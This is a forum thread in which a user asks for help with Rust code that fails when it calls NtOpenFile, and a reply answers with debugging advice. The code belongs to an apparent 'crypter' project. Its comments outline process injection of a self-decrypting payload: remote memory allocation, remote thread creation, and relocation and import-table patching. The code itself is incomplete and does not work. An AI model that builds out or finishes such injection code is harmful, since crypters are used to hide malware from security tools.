Help me out with NT API code // c000003a

Can anybody please help me out? I think I am supplying more than enough permissions, just to get NTSTATUS 6 for a simple txt file , and .exe file. The HANDLE is valid and with proper permissions. I

use std::{
    mem::zeroed
    ,
    ptr::null_mut,
};

use ntapi::{
    ntioapi::{
        IO_STATUS_BLOCK
        , NtOpenFile,
    }


    ,
    ntrtl::RtlInitUnicodeString,
};
use ntapi::ntioapi::FILE_OPEN;
use winapi::{
    shared::ntdef::{
        HANDLE, InitializeObjectAttributes, NT_SUCCESS, NTSTATUS, NULL, OBJECT_ATTRIBUTES
        , UNICODE_STRING,
    },
    um::{
        errhandlingapi::GetLastError
        ,
        handleapi::{CloseHandle, INVALID_HANDLE_VALUE},
        memoryapi::VirtualAllocEx


        ,
        winnt::{
            FILE_GENERIC_READ, FILE_GENERIC_WRITE, FILE_SHARE_READ,
            FILE_SHARE_WRITE

            , MEM_COMMIT, MEM_RESERVE, PAGE_READWRITE
            , SYNCHRONIZE,
        },
    },
};
use winapi::um::winnt::PAGE_EXECUTE_READ;

fn print_type_of<T>(_: &T) {
    println!("{}", std::any::type_name::<T>());
}


//PORTABLE EXECUTABLE INJECTION OF SELF-DECRYPTING EXECUTABLE

//PE INJECTION



// WriteProcessMemory , take from where to where is being written
// CreateRemoteThread in suspended mode  , that starts executing from the begining of the allocated memory from VirtualAllocEx

// The malware should find it's relocation table address ion the host process,
// And resolve the absolute address of the copied image
// BY LOOPING THRU ITS RELOCATION DESCRIPTORS ," .reloc "

// use parse_pe create
// Resolve Function Addresses: Use GetProcAddress to obtain the addresses of the imported functions in the target process.

// PATCHING THE IMPORT TABLE???? HOW ITS DONE
// Fix the Import Table: After resolving the function addresses, patch the Import Address Table (IAT) in the injected code to point to the correct function addresses.


static PAYLOAD: &'static [u8] = include_bytes!("C:\\Users\\Kris\\Desktop\\RUST_CRYPTER_PROJECT\\rust_hello_world.exe");


//error handling for nt api
#[derive(Debug)]
struct Error {
    status: NTSTATUS
}
impl core::convert::From<NTSTATUS> for Error {
    fn from(status: NTSTATUS) -> Self{
        Self {status}
    }
}


// get host process HANDLE
unsafe fn open_host_process(path : &str) -> Result<HANDLE , Error>{
    let mut wide_string:Vec<_> = format!("\\??\\{}" , path).encode_utf16().collect();
    wide_string.push(0x0);
    let mut us_path = zeroed::<UNICODE_STRING>();
    RtlInitUnicodeString(&mut us_path, wide_string.as_ptr());

    let mut attr = zeroed::<OBJECT_ATTRIBUTES>();
    InitializeObjectAttributes(&mut attr , &mut us_path , 0x00000040, NULL, NULL);

    let mut status_block = zeroed::<IO_STATUS_BLOCK>();
    let mut file_handle : HANDLE = INVALID_HANDLE_VALUE ;

    let status = NtOpenFile(
        &mut file_handle,
        FILE_GENERIC_READ | FILE_GENERIC_WRITE | SYNCHRONIZE,
        &mut attr,
        &mut status_block,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        FILE_OPEN // Open existing file
    );

    if !NT_SUCCESS(status){
        println!("Failed to open {:x}" , status);
        return Err(Error::from(status));
    }
    println!("This is the handle : {:?}" , file_handle);
    Ok(file_handle)
}

// VirtualAllocEx -> returns pRemoteMemory ->  starting address of the allocated memory in the target process
// -> start = pRemoteMemory , end = pRemoteMemory + sizeOfPayload bytes - 1

unsafe fn allocate_memory_host_process(file_handle : HANDLE) -> Result<() , Error >{
    let host_process_memory = VirtualAllocEx(
        file_handle,
        null_mut(), // If lpAddress is NULL, the function determines where to allocate the region.
        PAYLOAD.len(),
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READ | PAGE_READWRITE | FILE_SHARE_READ | FILE_SHARE_WRITE,
        // if you set this to PAGE_EXECUTE_READWRITE, Windows will refuse
        // -> you should use PAGE_EXECUTE_READ instead.
    );
    if host_process_memory.is_null(){
        eprintln!("Failed to Allocate Memory in target host process ");
        CloseHandle(file_handle);
        let ntstatus = GetLastError() as NTSTATUS; // Use a placeholder NTSTATUS code (you should replace this with a real error code)
        println!("THis is the NT status --> {:?} " , ntstatus);
        println!("This is the handle => {:?}" , file_handle);
        return Err(Error::from(ntstatus));

    }

    Ok(())
}

fn main() {
    unsafe {
        let file_path1 = "C:\\Users\\Kris\\Desktop\\RUST_CRYPTER_PROJECT\\rust_hello_world.exe";
        let file_path_foramted = format!("\\??\\{}", file_path1);
        println!("Attempting to open file at: {}", file_path_foramted);
        let host_process_file_handle = open_host_process(&file_path_foramted);
        allocate_memory_host_process(host_process_file_handle.expect("REASON"));
    }


}

Error -->

Attempting to open file at: \??\C:\Users\Kris\Desktop\RUST_CRYPTER_PROJECT\rust_hello_world.exe
Failed to open c000003a
thread 'main' panicked at src/main.rs:162:63:
REASON: Error { status: -1073741766 }
stack backtrace:
   0: std::panicking::begin_panic_handler
             at /rustc/129f3b9964af4d4a709d1383930ade12dfe7c081/library\std\src\panicking.rs:652
   1: core::panicking::panic_fmt
             at /rustc/129f3b9964af4d4a709d1383930ade12dfe7c081/library\core\src\panicking.rs:72
   2: core::result::unwrap_failed
             at /rustc/129f3b9964af4d4a709d1383930ade12dfe7c081/library\core\src\result.rs:1654
   3: enum2$<core::result::Result<ptr_mut$<enum2$<winapi::ctypes::c_void> >,RUST_CRYPTER_PROJECT::Error> >::expect<ptr_mut$<enum2$<winapi::ctypes::c_void> >,RUST_CRYPTER_PROJECT::Error>
             at /rustc/129f3b9964af4d4a709d1383930ade12dfe7c081\library\core\src\result.rs:1034
   4: RUST_CRYPTER_PROJECT::main
             at .\src\main.rs:162
   5: core::ops::function::FnOnce::call_once<void (*)(),tuple$<> >
             at /rustc/129f3b9964af4d4a709d1383930ade12dfe7c081\library\core\src\ops\function.rs:250
   6: core::hint::black_box
             at /rustc/129f3b9964af4d4a709d1383930ade12dfe7c081\library\core\src\hint.rs:338
note: Some details are omitted, run with `RUST_BACKTRACE=full` for a verbose backtrace.
error: process didn't exit successfully: `target\debug\RUST_CRYPTER_PROJECT.exe` (exit code: 101)

Process finished with exit code 101

There are two key issues with this code:

  1. You're passing an NT path into open_host_process, but then converting that path into an NT path again, which is not correct.

  2. You're not using the correct open options (see: create options). This causes NtOpenFile to treat the path as a directory. You likely want to use FILE_NON_DIRECTORY_FILE instead.

1 Like

This topic was automatically closed 90 days after the last reply. We invite you to open a new topic if you have further questions or comments.